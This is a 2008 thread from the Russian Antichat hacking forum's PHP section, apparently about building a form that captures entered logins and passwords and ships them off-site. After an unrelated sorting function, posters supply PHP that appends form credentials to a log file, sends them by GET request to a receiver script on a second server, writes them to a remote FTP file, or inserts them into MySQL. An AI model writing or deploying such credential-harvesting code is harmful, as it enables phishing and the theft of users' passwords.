HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.12.2008, 16:21
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

PHP код:
<?
function mm($a1$a2){
    return 
strcmp(substr($a1,3),substr($a2,3));
}

function 
mm1($a1$a2){
    return 
strcmp(substr($a2,3),substr($a1,3));
}
    
function 
srt($arr$num$tip 0){        #    $num - имя столбца для сортировки;    $tip - вид сортировки, 0 - обычный порядок, 1 - обратный;

    
$abc = array();
    
$fin = array();
    
        foreach(
$arr as $k=>$v){
            
$abc[] = $k.'::'.$arr[$k][$num];
        }
    if (!
$tipusort($abc'mm');
        else 
usort($abc'mm1');
    
    foreach(
$abc as $elf$fin[] = $arr[substr($elf,0,1)];
    return 
$fin;
}
#    например вот сортировка по имени в обратном порядке, если взать таблу придложенную гифтсом
srt($a,'Imya',1);
?>
 
Ответить с цитированием

  #2  
Старый 09.12.2008, 16:29
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Собственно вопрос.
Есть 2 сервера с пыхыпы.На 1 стоит форма например, логин пароль.И эти данные при вводе пишться в файл таким вот образом.
PHP код:
$fp fopen("logs_name.txt","a+"); 
fwrite($fp"Логин: $who  Пароль: $pass \n");
fclose($fp); 
Все работает,все пучком.Теперь идет вопрос.Как заставить данные записать в файл на другом сервере?Пробывал так:
PHP код:
$fp fopen("http://yaou.ru/logs_name.txt","a+"); 
Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.
 
Ответить с цитированием

  #3  
Старый 09.12.2008, 16:37
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Цитата:
Сообщение от m0Hze  

$fp = fopen("http://yaou.ru/logs_name.txt","a+");
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:
PHP код:
$in=strip_tags(@$_GET['in']); 
if(!
emtpy($in)){
$fp fopen("logs_name.txt","a+"); 
fwrite($fp"Логин: $who  Пароль: $pass \n");
fclose($fp);

 
Ответить с цитированием

  #4  
Старый 09.12.2008, 16:40
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от PaCo  
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:
PHP код:
$in=strip_tags(@$_GET['in']); 
if(!
emtpy($in)){
$fp fopen("logs_name.txt","a+"); 
fwrite($fp"Логин: $who  Пароль: $pass \n");
fclose($fp);

Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.
 
Ответить с цитированием

  #5  
Старый 09.12.2008, 16:49
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Цитата:
Сообщение от m0Hze  
Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.
это на удаленом серваке:
PHP код:
<?php
 $who
=strip_tags(urldecode(@$_GET['who'])); 
 
$pass=strip_tags(urldecode(@$_GET['pass'])); 

if(!
emtpy($who) &&  !emtpy($pass)){
$fp fopen("logs_name.txt","wb"); 
fwrite($fp"Логин: $who  Пароль: $pass \n");
fclose($fp);

?>

на том с которого осылаешь:

PHP код:
<?php
$who
=urlencode("root");
$pass=urlencode("паролик");
$addr="http://адрессудаленгосерва/путь_к_скрипту.php?pass=$pass&who=$who";
file_get_contents($addr);

?>

Последний раз редактировалось PaCo; 09.12.2008 в 16:53..
 
Ответить с цитированием

  #6  
Старый 09.12.2008, 16:40
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

Цитата:
Сообщение от m0Hze  
PHP код:
$fp fopen("http://yaou.ru/logs_name.txt","a+"); 
Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.
хуяссе .. если б так можно было, я б захватил инет
PHP код:
fopen("ftp://blabla:qwerty@google.com/log.txt""a"); 
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.

-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй
 
Ответить с цитированием

  #7  
Старый 14.12.2008, 00:23
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от 159932  
хуяссе .. если б так можно было, я б захватил инет
PHP код:
fopen("ftp://blabla:qwerty@google.com/log.txt""a"); 
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.

-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй
Вопрос по записи на удаленный фтп данных из полей на сайте.То что ты мне посоветывал не катит.Вот что получаю:
Код:
Warning: fopen(ftp://...@sever.ru/log.txt) [function.fopen]: failed to open stream: FTP server reports 550 /log.txt: Permission denied in /home/xxxx/domains/mysite.ru/public_html/test/log.php on line 5
Вот сам код записи на удаоенку:
PHP код:
fopen("ftp://login:pass@server.ru/log.txt""a");
fwrite($fp,"$Login:$Passwd\n <br>");
fclose($fp); 
Чтобы не было вопросов, $Login:$Passwd береться из самой формы и пишеться на фтп другого сервера в файл log.txt. Права выставил,логин пас верные.Ояняйте в чем моя ошибко Ж)
 
Ответить с цитированием

  #8  
Старый 09.12.2008, 16:35
kalpsik
Познающий
Регистрация: 10.01.2007
Сообщений: 67
Провел на форуме:
459846

Репутация: 63
По умолчанию

PHP код:
mysql_connect("servername""login""password");
mysql_select_db("database");
mysql_query("set names cp1251"); //так, на всякий случай=)
mysql_query("insert into table (row_login, row_pass) values ('$who', '$pass')"); 
 
Ответить с цитированием

  #9  
Старый 09.12.2008, 16:38
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Всем спасибо,сейчас попробую.
 
Ответить с цитированием

  #10  
Старый 09.12.2008, 16:58
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

2 PaCo
нах это делать гетом ?
и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.